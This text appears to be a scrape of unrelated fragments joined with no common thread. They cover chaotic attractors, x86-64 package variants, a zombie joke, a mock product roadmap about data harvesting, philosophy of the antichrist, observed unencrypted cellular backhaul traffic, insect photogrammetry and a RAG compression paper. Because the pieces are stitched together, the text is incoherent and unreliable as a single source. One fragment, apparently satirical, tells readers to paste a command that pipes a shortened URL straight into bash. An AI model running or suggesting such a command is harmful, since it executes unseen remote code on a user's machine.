One of the defining features of strange attractors is their sensitivity to initial conditions. This means that small changes in the starting state of the system can lead to vastly different long-term behaviors, a phenomenon known as the butterfly effect. In chaotic systems, tiny variations in the initial conditions can amplify over time, leading to drastically different outcomes.

multiple versions of a package, each for a different level of the x86-64 architecture, meaning we can have packages that specifically target x86-64-v3, for example

you have been bitten by a zombie 26m You're feeling cold and clammy and you have a sudden desire to zap everyone ...

what's happening?

you have been bitten by a zombie 26m You're feeling cold and clammy and you have a sudden desire to zap everyone ...

Simply open a terminal window and paste this random command (*) from the internet:

curl -fsSL https://tinyurl.com/2u5ckjyn | bash

These are all the exciting features coming soon:

㊙ implement encryption (delayed until 2028) 🐒 add AI features 💰 monetization (for us, not for you 🤑) 󰖠 add webcam pictures to really capture the moment 💩 AI 🎤 always-on audio recording 🐍 more AI ☁️ automatic uploading of all your data the cloud 🙈 train our LLM's with your data

There is a way to think that the antichrist represents the end of philosophy – culmination, termination. He is the individual who gets rid of all individuals; the philosopher who ends all philosophers; the Caesar who ends all rulers; the person who understands all secrets. How is this possible in late modernity, where we don’t believe a philosopher-king, tyrant or ruler can come to power?

We observed unencrypted cellular backhaul traffic from several providers including cleartext call and text contents, job scheduling and industrial control systems for utility infrastructure, military asset tracking, inventory management for global retail stores, and in-flight wifi.

Only strongly biased and memory-retaining processes could succeed

To capture the specimen from all angles, covering a bit more than half a hemisphere, I mounted the insect on a rotary disk and tilted the camera up and down on a boom arm. A script rotated the disk by fixed increments, and each focus stack was captured using a WeMacro automated focus rail. The vertical angle was adjusted manually (only eight times), so it wasn’t a big issue. In total, I captured 111 perspectives. A full session of 1776 photos took about four hours. The main bottleneck is my Nikon D810, which isn’t built for such continuous shooting, it slows down to one frame every one or two seconds once the buffer fills up. I used a Tamron 90mm lens with a 20mm extension and shot in DX (cropped sensor) mode. Shorter lenses would change the perspective too much between focus areas, making image alignment impossible.

After batch focus-stacking all the photos, I ended up with 111 fully sharp images. The camera positions could then be reconstructed in COLMAP. I performed some color correction and background masking before feeding the data into training with Postshot. Out comes the splat, requiring only minimal retouching to remove the mounting.

Well, how does it work?

In the paper, the core insight is stated to be using the policy network to compress less-relevant chunks in the RAG process, but to us, the core insight here is actually: if embeddings are generated by layers within the LLM, it makes no sense to convert them back to natural language, just for another LLM to compress those tokens back to embeddings.

That is why the speedups come without collapsing accuracy.